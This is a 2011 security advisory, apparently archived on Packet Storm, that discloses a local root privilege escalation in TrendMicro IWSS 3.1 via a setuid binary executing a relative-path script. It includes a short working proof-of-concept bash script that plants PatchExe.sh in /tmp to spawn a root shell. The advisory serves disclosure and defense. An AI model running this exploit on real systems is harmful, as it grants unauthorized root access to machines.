exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Trendmicro IWSS 3.1 Privilege Escalation

Trendmicro IWSS 3.1 Privilege Escalation
Posted Oct 26, 2011
Authored by Jose Ramon Villa

A vulnerability was found in the software IWSS of TrendMicro that could allow an attacker to gain root access in the system. The binary "patchCmd" has sticky permissions for the "setuid" and "setgid" with the user root. The execution is allowed to all users. The code performs a setuid(0) before an a system() by that the execution will take root permissions regardless of user permissions.

tags | exploit, root
SHA-256 | 5c58e2ec89a7aa0742214e1aec3ff4472b0358ec1afdb3c3b4436e5f3f5fc91b

Trendmicro IWSS 3.1 Privilege Escalation

Change Mirror Download
                    #############################
# BUGUROO SECURITY ADVISORY #
#############################

[ ADVISORY ]

Title: Trendmicro IWSS 3.1 privilege escalation
Product: InterScan Web Security Suite (IWSS)
Vendor: TrendMicro
Advisory ID: BSA-2011-002
Advisory URL: http://buguroo.com/adv/BSA-2011-002.txt
Date published: 25/10/2011


[ DISCLAIMER ]

Buguroo Offensive Security, S.L. assumes no liability for the use of
the information provided in this advisory. This advisory was released
in an effort to help the I.T. community protect themselves against a
potentially dangerous security hole. This advisory is not an attempt
to solicit business.


[ INFORMATION ]

Impact: Privilege escalation
Remotely: No
Locally: Yes
CVSS: 8.1
(AV:L/AC:L/Au:S/C:C/I:C/A:C/E:F/RL:U/RC:UR/CDP:H/TD:ND/CR:H/IR:H/AR:H)
CVE: Not assigned yet.


[ DESCRIPTION ]

A vulnerability was found in the software IWSS of TrendMicro that
could allow an attacker to gain root access in the system.

The binary "patchCmd" has sticky permissions for the "setuid" and
"setgid" with the user root. The execution is allowed to all
users.

The code performs a setuid(0) before an a system() by that the
execution will take root permissions regardless of user permissions.

system() calls two scripts:
"./PatchExe.sh" and "./RollbackExe.sh" depending the input parameters
of "patchCmd".

As you can see the string "./" Indicates the execution in the
current directory, you can easily create new scripts in another
PATH and force the execution on it.


[ VULNERABLE PRODUCTS ]

* IWSS <= 3.1 (linux)
* IWSS <= 3.1 (solaris)


[ WORKAROUNDS ]

None at this moment.


[ PROOF OF CONCEPT ]

To exploit this vulnerability as a proof of concept we create a
script in the PATH of a user without privileges who simply open
a new setuid(0) Bourne Shell.

The binary is executed with the appropriate input to compose
the execution parameters and then scale privileges.

--------------------------------------------------------------------
#!/bin/bash
# Copyright 2011 Buguroo Offensive Security - jrvilla.AT.buguroo.com

cd /tmp
echo "[*] Creating shell file"
echo -e "#!/bin/bash\n/bin/bash" > PatchExe.sh
echo "[*] Change permissions"
chmod 755 PatchExe.sh
echo "[*] Got r00t... Its free!"
/opt/trend/iwss/data/patch/bin/patchCmd u root
--------------------------------------------------------------------


[ TIMELINE ]

26/06/2011 - Vulnerability was identified
28/06/2011 - Vendor contacted multiple times:
* SR2-1-547365091
* SR2-1-547365101
* SR2-1-547374771
* SR2-1-547378291
03/08/2011 - We send more documents to TrendMicro.
25/10/2011 - Due to the lack of response from TrendMicro we
publish this vulnerability.


[ ACKNOWLEDGMENTS ]

This vulnerability was discovered and researched by:
- Jose Ramon Villa <jrvilla.AT.buguroo.com>


[ REFERENCES ]

* http://blog.buguroo.com
* http://www.buguroo.com


[ ABOUT BUGUROO ]

Buguroo is a Spanish offensive security company founded in 2007
exclusively dedicated to the development of IT security solutions.
We are a 100% R+D company under continuous evolution and
technological renovation, enabling us to stay at the vanguard of
our sector and to offer a first class service world wile.


[ LICENSE ]

The contents of this advisory are copyright (c) 2011 Buguroo
Offensive Security S.L. are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (International)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/

# EOF
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close